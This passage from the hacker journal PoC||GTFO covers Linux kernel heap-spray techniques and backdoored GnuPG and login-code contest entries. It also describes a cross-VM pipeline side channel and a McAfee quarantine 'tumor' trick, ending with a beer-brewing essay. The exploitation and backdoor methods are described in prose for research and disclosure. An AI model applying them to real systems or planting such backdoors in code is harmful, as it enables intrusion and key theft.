Figure 9.4: Pipe Object
Figure 9.5: TTY Object
Figure 9.6: Socket Object
Here is an example with Pipe. It is similar to the Windows example. In Windows we use the WriteFile API, but in the Linux implementation we have to use CPipe.Write, like in this example with fcntl syscall:
One of the reasons why we focus mainly on object header-based kmallocs is that in Linux the objects we deal with are easy to overwrite, have a lot of pointers and useful state we can manipulate, and are often quite large. For example, they may cover different SLABSs, and may even be located in the same SLAB as various kinds of buffers that make pretty sexy targets. One more reason is covered later in this article.
However, understanding the real pool layout is a far more difficult task than described above, as randomization complicates it to a large extent. You can usually overcome it with spraying in the same cache and filling most of the pool to ensure that almost every object there can be used for exploitation, as due to randomization you don’t know where your target will reside.
Sometimes by trying to do this kind of pool layout with overflowable buffer and right object headers you can achieve full pwn even without touching addr_limit.
Pool spray brute force implementation:
But as we mentioned before, a big drawback to effective pool spraying on Linux and to doing a massive controllable pool layout is the limit on the number of owned kernel objects per process. You can create a lot of processes to overcome it, but that is bit messy and it doesn’t always properly solve your issue.
Spray by GFP_USER zone:
To overcome this limitation and to control more of the kernel memory (zone GFP_USER) state, we came up with a somewhat more comprehensive solution than that which was presented at Confidence 2015.17
To understand this technique, we will need to take a closer look at the splice method.
As you can see from this highlight, the important page is alloc_page(GFP_USER), which is allocated for PAGE_SIZE and filled with controlled content later. This is nice, but we still have a limit on pipes!
Now here is a paradox: sometimes randomization can play in your hands! In other words, when you splice many times, you will cover a lot of random pages in kernel’s virtual address space. But that’s exactly what we want!
But to trigger default_file_splice_read you need to provide the appropriate pipe counterpart to splice, and one of the best candidates is /dev/ptmx, the TTY. As splice is for moving content around, you will need to perform a few steps to achieve a successful spray algorithm:
You will need to repeatedly (1) fill tty slave, (2) splice tty master to pipe in, and (3) read it out from pipe out.
In conclusion, we consider kmalloc, with per-byte-controlled content, and kfree controllable by user to that extent very damaging for overall kernel security and introduced mitigations. And we believe that this power will be someday stripped from the user, therefore making harder exploitation of otherwise difficult to exploit vulnerabilities.
In this article we do not discuss kernel memory control by the ret2dir technique.18 For additional info and practical usage check our research from BHUS15!19
9:5 Second Underhanded Crypto Contest
by Taylor Hornby featuring winning submissions by Joseph Birr-Pixton and Scott Arciszewski
Defcon 23’s Crypto and Privacy Village mini-contest is over. Despite the tight deadline, we received five high-quality submissions in two categories. The first was to patch GnuPG to leak the private key in a message. The second was to backdoor a password authentication system, so that a secret value known to an attacker could be used in place of the correct password.
GnuPG Backdoor
We had three submissions to the GnuPG category. The winner is Joseph Birr-Pixton. The submission takes advantage of how GnuPG 1.4 generates DSA nonces.
The randomness of the DSA nonce is crucial. If the nonce is not chosen randomly, or has low entropy, then it is possible to recover the private key from digital signatures. GnuPG 1.4 generates nonces by first generating a random integer, setting the most-significant bit, and then checking if the value is less than a number Q (a requirement of DSA). If it is not, then the most-significant 32 bits are randomly generated again, leaving the rest the same.
This shortcut enables the backdoor. The patch looks like an improvement to GnuPG, to make it zero the nonce after it is no longer needed. Unfortunately for GnuPG, but fortunately for this contest, there’s an extra call to memset() that zeroes the nonce in the “greater than Q” case, meaning the nonce that actually gets used will only have 32 bits of entropy. The attacker can fire up some EC2 instances to brute force the rest and recover the private key.
Figure 9.7: GNUPG Backdoor
Backdoored Password Authentication
There were two entries to the password authentication category. The winner is Scott Arciszewski. His submission pretends to be a solution to a user enumeration side channel in a web login form. The problem is that if the username doesn’t exist, the login will fail fast. If the username does exist, but the password is wrong, the password check will take a long time, and the login will fail slow. This way, an attacker can check if a username exists by measuring the response time.
The fix is to, in the case where the username does not exist, check the password against the hash of a random garbage value. The garbage value is generated using rand(), a random number generator that is not cryptographically secure. Some rand() output is also exposed to the attacker through cache-busting URLs and CSRF tokens. With that output, the attacker can recover the internal rand() state, predict the garbage value, and use that in place of the password.
An archive with all of the entries is included within this PDF.20 The judge for this competition was Jean-Philippe Aumasson, to whom we extend our sincerest thanks.
9:6 Cross-VM Side Channels; or, Abusing Out-of-Order-Execution
by Sophia D’Antoine
In which Sophia uses the MFENCE instruction on VMs, just as Joshua used trumpets on the walls of Jericho. —PML
At REcon 2015, I demonstrated a new hardware side channel that targeted co-located virtual machines in the cloud. This attack exploited the CPU’s pipeline as opposed to cache tiers, which are often used in side channel attacks. Looking for hardware-based side channels, specifically in the cloud, I analyzed a few universal properties that define the “right” kind of vulnerable system as well as unique ones tailored to the hardware medium.
The relevance of these types of attacks will only increase—especially attacks that target the vulnerabilities inherent to systems that share hardware resources, such as in cloud platforms.
What is a Side Channel Attack?
A side channel is a way for any meaningful information to be leaked from the environment running the target application, or in this case the victim virtual machine (as in Figure 9.8). In this case, a process (the attacker) must be able to repeatedly record this environment artifact from inside another virtual machine.
In the cloud, this environment is the shared physical resources on the service used by the virtual machines. The hypervisor dynamically partitions each physical resource, which is then seen by a single virtual machine as its own private resource. The side channel model in Figure 9.9 illustrates this.
Figure 9.8: Virtualization of physical resources
Figure 9.9: Side channel model
Knowing this, the attacker can interact with that resource partition in a recordable way, such as by flushing a line in the cache tier, waiting until the victim process uses it for an operation, then requesting that address again—recording what values are now there.
What Good is a Side Channel Attack?
Great! So we can record things from our victim’s environment—but now what? Of course, some kinds of information are better than others; here is an overview of the different kinds of attacks people have considered, depending on what the victim’s process is doing.
Crypto key theft. Crypto keys are
great; private crypto keys are even better. Using this hardware side channel, it’s possible to leak the bytes of the private key used by a co-located process. In one scenario, two virtual machines are allocated the same space in the L3 cache at different times. The attacker flushes a certain cache address, waits for the victim to use that address, then queries it again—recording the new values that are there.21
Process monitoring. What applications is the victim running? It will be possible for find out when you record enough of the target’s behavior, i.e., its CPU or pipeline usage or values stored in memory. Then a mapping between the recording to a specific running process could be constructed—up to some varied degree of certainty. Warning, this does rely on at least a rudimentary knowledge of machine learning.
Environment keying. This attack is handy for proving co-location. Using the environment recordings taken off of a specific hardware resource, you can also uniquely identify one server from another in the cloud. This is useful to prove that two virtual machines you control are co-resident on the same physical server. Alternatively, if you know the behavior signature of a server your target is on, you can repeatedly create virtual machines in the targeted cloud, recording the behavior on each system until you find a match.22
Broadcast signal. This attack is a nifty way of receiving messages without access to the Internet. If a colluding process is purposefully generating behavior on a pre-arranged hardware resource, such as purposefully filling a cache line with 0’s and 1’s, the attacker (your process) can record this behavior in the same way it would record a victim’s behavior. You then can translate the recorded values into pre-agreed messages. Recording from different hardware mediums results in a channel with different bandwidths.23
The Cache is Easy; the Pipeline is Harder
Now all of the above examples used the cache to record the environment shared by both victim and attacker processes. It is the most widely used resource in both literature and practice for constructing side channels, as well as the easiest one to record artifacts from. Basically, everyone loves cache.
However, the cache isn’t the only shared resource. Co-located virtual machines also share the CPU execution pipeline, as illustrated in Figure 9.10. In order to use the CPU pipeline, we must be able to record a value from it. Unfortunately, there is no easy way for any process to query the state of the pipeline over time—it is like a virtual black-box.
The only thing a process can know is the instruction set order it gives to be executed on the pipeline and the result the pipeline returns. This is the information source we will mine for a number of effects and artifacts.
Out of order execution: a pipeline’s artifact. We can exploit this pipeline optimization as a means to record the state of the pipeline. The known input instruction order will result in two different return values—one is the expected result(s), the other is the result if the pipeline executes them out-of-order.
Strong memory ordering. Our target, cloud processors, can be assumed to run the x86/64 architecture, which has a strongly-ordered memory model.24 This is important, because the pipeline will optimize the execution of instructions, but will attempt to maintain the right order of stores to memory and loads from memory.
However, the stores and loads from different threads may be reordered by out-of-order-execution. Now, this reordering is observable if we’re clever enough.
Figure 9.10: Foreign processes can share the same pipeline.
Recording instruction reorder (or, how to be clever). In order for the attacker to record these reordering artifacts from the pipeline, we must record two things for each of our two threads: input instruction order and return value.
Additionally, the instructions in each thread must contain a STORE to memory and a LOAD from memory. The LOAD from memory must reference the location stored to by the opposite thread. This setup ensures the possibility for the four cases illustrated in Figure 9.11. The last is the artifact we record; doing so several thousand times gives us averages over time.
Sending a message. To make our attacks more interesting, we want to be able to force the amount of recorded out-of-order-executions. This ability is useful for other attacks, such as constructing covert communication channels.
In order to do this, we need to alter how the pipeline optimization works by increasing the probability that it either will or will not reorder our two threads. The easiest is to enforce a strong memory order and guarantee that the attacker will receive fewer out-of-order-executions. This is where memory barriers come in.
Figure 9.11: The attacker can record when its instructions are reordered.
Memory barriers. In the x86 instruction set, there are specific barrier instructions that stop the processor from reordering the four possible combinations of STOREs and LOADs. What we’re interested in is forcing a strong order when the processor encounters an instruction set with a STORE followed by a LOAD. The MFENCE instruction does exactly this.
By getting the colluding process to inject these memory barriers into the pipeline, the attacker ensures that the instructions will not be reordered, forcing a noticeable decrease in the recorded averages. Doing this in distinct time frames allows us to send a binary message, as shown in Figure 9.12. More details are available in my thesis.25
The takeaway is that—even with virtualization separating your virtual machine from the hundreds of other virtual machines!—the pipeline can’t distinguish your process’s instructions from all the other ones, and we can use that to our advantage.
Figure 9.12: MFENCE ensures the strong memory order on pipeline
9:7 Antivirus Tumors
by Eric Davisson
McAfee Enterprise VirusScan, which is not the home version of their AV, has a peculiar way of quarantining malware. If an anti-virus product wants to keep a forensic copy of removed malware, it must either move it to an area of the system that it doesn’t scan, or it must somehow transform this malware data so it can no longer be seen by the anti-virus signature. VirusScan is almost able to get away with the second option. Almost.
A VirusScan quarantine file (.bup) is an odd form of an archive format called Compound File Binary Format that can usually be read by 7zip. This file contains two files. One of them is a file that contains metadata on the original malware. The other file is the malware file that was removed. Both of these files have been XOR encoded with a one byte key of 0x6a (ASCII ‘j’). This 7zip file is archive mode only, so it has no compression. All of this is extremely useful.
Let’s say that hypothetically all ‘X’ characters look like malware to our AV. (This is a bit contrived, but we’ll get back to a real example soon.) This X is 0x58 or 0b01011000. To bitwise XOR this char with 0x6A would give us ‘2’ (0x32 or 0b00110010). So our PoC would be ‘X2’ for a signature that looked for ‘X’. Why? Our tumor has the contents of ‘X2’, and since that contains ‘X’, it’s bad malware and needs to be quarantined. The file gets XORed to become ‘2X’ and archived with the metadata. If you did a hexdump on this forensic .bup file, the contents of ‘2X’ are still visibly malicious and need to be quarantined!
I neither have nor want access to McAfee’s signatures, but we all have access to ClamAV’s set of signatures. It is possible (and highly verified) that there is some signature overlap, as files can come up dirty on multiple vendors’ scans. In this PoC, I will use ClamAV’s “Worm.VBS.IRC.Alba (Clam)” signature. Despite the name, I assure you that if you submit the file through McAfee, it scans dirty.
Figure 9.13: Hexdump of the tumor.
This quick little script extracts a plaintext Clam signature database, parses out the data of our signature, and writes the original and XOR’d form of this signature to a file called tumor. This assumes you’re on a Linux system with ClamAV installed with signatures loaded in /var/lib/clamav/.
This tumor is benign, as its growth eventually stops after a few rounds, and I’ve not yet been able to compose a proof of concept of a malignant tumor, one that eventually fills t
he hard disk. Through experimentation, I suspect that McAfee signatures are more complex than string matches. For example, when McAfee pulls out of my pool a file that previously had no nulls but now does, it often no longer sees it as malware and rejoices. This is a problem as 7zip introduces nulls in its metadata. Also some malicious data no longer triggers the antivirus when pushed deeper into the file. These barriers might be bypassed by more intimate knowledge of the McAfee signatures.
9:8 Brewing TCP/IPA; or, A Skill for the Zombie Apocalypse
by Ron Fabela of Binary Brew Works
Hacking is a broad term that has too many negative and positive connotations to list. But whichever connotations you prefer, it is a skillset, and a skill is all about things or services that can be exchanged for currency or bartered for goods. While this fine journal excels in sharing scattered bits of useful hacking knowledge, the vast majority of publications repeat ad nauseam the same drivel of the cyber world. But when the zombies come—and they will come!—what good are your SQL injections for survival? How will you exchange malware for fresh vegetables and clean drinking water? What practical skills do you have that can enable your survival?
What hackers shares with makers is their common ground of curiosity, skill, and patience, and these intersect on a product that is universally recognized, suitable for barter, and damn tasty. Of course, beer as we know it today differs from the ancient times, where it was a part of the daily diet of Egyptian Pharaohs and Greek Philosophers. Today’s beer and its varieties have acquired a broader tradition, each with a unique background and tastes. But in that variety there is a center, one that pulls together people from all races, cultures, and economic statuses. Modern day philosophers and preachers discuss the world’s challenges over beer. Business deals and other relationships are solidified at the bar, by liquid camaraderie!
PoC or GTFO, Volume 2 Page 3